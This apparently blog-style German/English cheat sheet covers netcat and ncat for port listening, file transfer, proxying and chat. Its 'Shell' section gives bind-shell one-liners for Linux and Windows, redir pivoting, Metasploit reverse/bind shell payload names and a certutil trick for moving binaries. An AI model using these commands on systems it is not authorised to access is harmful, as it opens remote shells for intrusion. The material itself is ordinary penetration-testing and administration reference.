Namenskonfusion
- netcat = nc can read and write to/from TCP/UDP ports.
- Port scanning
- Transfer files unencrypted
- Banner grabbing
- ncat do the same and more (especially SSL)
- All from above
- Shells
- …
Datei ausliefern:
echo -e "HTTP/1.1 200 OK\nContent-Length: 5\n\nHallo" | nc -l localhost 8000
Datei anfragen über SSL:
echo -e "GET / HTTP/1.1\nHost: localhost\n\n" | ncat -C --ssl localhost 443
Gebe Ausgabe von Programm zurück:
ncat -l localhost 3000 --exec /bin/date
Datei direkt übertragen (unverschlüsselt!):
1. Empfänger:
user@host02:~$ ncat -l > aha
oder
nc -nlvp 4444 > incoming.file
2. Sender:
user@host01:~$ ncat --send-only 10.186.158.2 < g.txt
oder
nc -nv 192.168.5.1 4444 < /tmp/file
Datei über Proxy übertragen (unverschlüsselt!) A‑B-C:
1. Broker starten auf B:
ncat -l --broker
2. Empfänger starten auf C:
ncat B > ausgabedatei
3. Sender sendet von A:
ncat --send-only B < g.txt
Chat / data transfer
Lauschen auf Host A:
ncat -nlvp 4444
Verbinden mit Dienst auf anderem Host:
ncat -nv 192.168.5.1 4444 ncat -nv host.tld 110
Shell
Shell auf Zielrechner binden:
[Linux] ncat -nlvp 4444 -e /bin/bash [Windows] ncat.exe --exec cmd.exe -vnl 4444 [Windows] nc -dLp 4444 -e cmd.exe // d => don't quit with enter
Auf beliebig vielen Zwischenrechnern mit redir weiterleiten (evtl. geht auch ncat –broker)
redir --lport=5555 --laddr=192.168.5.104 --cport=4444 --caddr=192.168.20.129
Auf Client die Konsole öffnen:
ncat -nv 192.168.5.104 5555
Optional kann –ssl angegeben werden.
Sicherstellen, dass nicht ein Paketfilter filtert.…
In Metasploit: Use the following payloads
- payload/windows/x64/shell/reverse_tcp or
- payload/windows/x64/shell_bind_tcp
Zwischenablage
Auf Linux
base64 file.exe > file.b64
Unter Windows
certutil -decode file.b64 file.exe
Leave a Reply
You must be logged in to post a comment.